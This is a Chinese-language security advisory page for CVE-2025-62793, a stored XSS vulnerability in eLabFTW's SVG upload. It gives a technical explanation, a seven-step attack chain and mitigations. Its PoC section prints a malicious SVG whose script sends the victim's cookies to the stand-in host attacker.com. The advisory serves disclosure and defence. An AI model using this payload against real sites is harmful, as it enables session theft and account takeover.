IPBUF安全漏洞报告
English
CVE-2025-62793 CVSS 6.8 中危

CVE-2025-62793 eLabFTW存储型XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62793
漏洞类型
存储型XSS
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
eLabFTW

相关标签

存储型XSSCVE-2025-62793eLabFTWSVG注入会话劫持文件上传漏洞

漏洞概述

eLabFTW是一款开源的电子实验室笔记本应用,广泛应用于研究机构和企业实验室环境中。该应用允许用户上传各类文件包括SVG格式图像。然而,由于应用在处理SVG文件时采用内联显示方式,直接在浏览器中渲染SVG内容,而SVG格式本身支持JavaScript等活动内容,这为存储型跨站脚本攻击(Stored XSS)创造了条件。攻击者可以利用此漏洞上传精心构造的恶意SVG文件,当受害者访问该SVG文件URL或任何嵌入该SVG的页面时,嵌入在SVG中的恶意JavaScript代码将在受害者浏览器中执行。由于攻击在应用Origin下执行,攻击者可以窃取受害者的会话Cookie、读取页面敏感数据、模拟用户执行操作,甚至进一步横向移动攻击。由于漏洞存在于文件上传功能,攻击者只需要拥有低权限账户即可利用此漏洞,且需要诱导受害者访问恶意文件或包含该文件的页面。

技术细节

漏洞存在于eLabFTW的文件上传和展示模块。当用户上传SVG文件后,系统将其存储在服务器端,并在用户访问时通过Content-Type为image/svg+xml的方式内联返回。由于SVG是一种基于XML的矢量图形格式,支持<script>标签、事件处理器(如onload、onerror)以及<foreignObject>元素嵌入任意HTML内容,攻击者可以构造包含JavaScript代码的恶意SVG文件。例如,使用<svg>标签配合<script>或事件属性即可执行任意JavaScript代码。由于响应头中未设置Content-Security-Policy限制,且SVG在应用域下执行,恶意脚本可以访问同源资源。攻击者上传恶意SVG后,获取其URL地址,通过社工手段诱导管理员或研究人员访问,即可窃取session token或执行特权操作。修复方案在版本5.3.0中通过禁止SVG内联显示或对SVG内容进行安全过滤实现。

攻击链分析

STEP 1
1. 信息收集
攻击者注册eLabFTW低权限账户,了解文件上传功能位置
STEP 2
2. 制作恶意文件
构造包含JavaScript代码的恶意SVG文件,利用SVG的<script>标签或事件处理器执行XSS payload
STEP 3
3. 上传恶意文件
通过文件上传功能将恶意SVG上传到服务器,服务器将其持久化存储
STEP 4
4. 获取恶意URL
获取上传后SVG文件的访问URL
STEP 5
5. 社会工程攻击
通过钓鱼邮件、即时消息等方式诱导受害者(管理员或研究人员)访问恶意SVG URL
STEP 6
6. 窃取敏感信息
当受害者访问恶意SVG时,JavaScript在应用域下执行,窃取Cookie、Session或页面数据
STEP 7
7. 账户劫持
攻击者利用窃取的凭证进行会话劫持,执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG payload for CVE-2025-62793 --> <!-- Upload this file to eLabFTW and trick victim to access it --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal session cookies and send to attacker server var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(cookies), true); xhr.send(); // Alternative: using onload event // <image href="x" onload="alert(document.cookie)"/> </script> <rect width="100%" height="100%" fill="red"/> <text x="50%" y="50%" text-anchor="middle" fill="white">Malicious SVG</text> </svg>

影响范围

eLabFTW < 5.3.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 禁用SVG文件上传功能或仅允许受信任用户上传;2) 在Web应用防火墙(WAF)层面配置规则,检测并阻止包含恶意script标签的SVG文件上传;3) 修改服务器配置,使SVG文件以附件方式下载而非内联显示;4) 加强对文件上传功能的监控和日志审计,及时发现异常上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表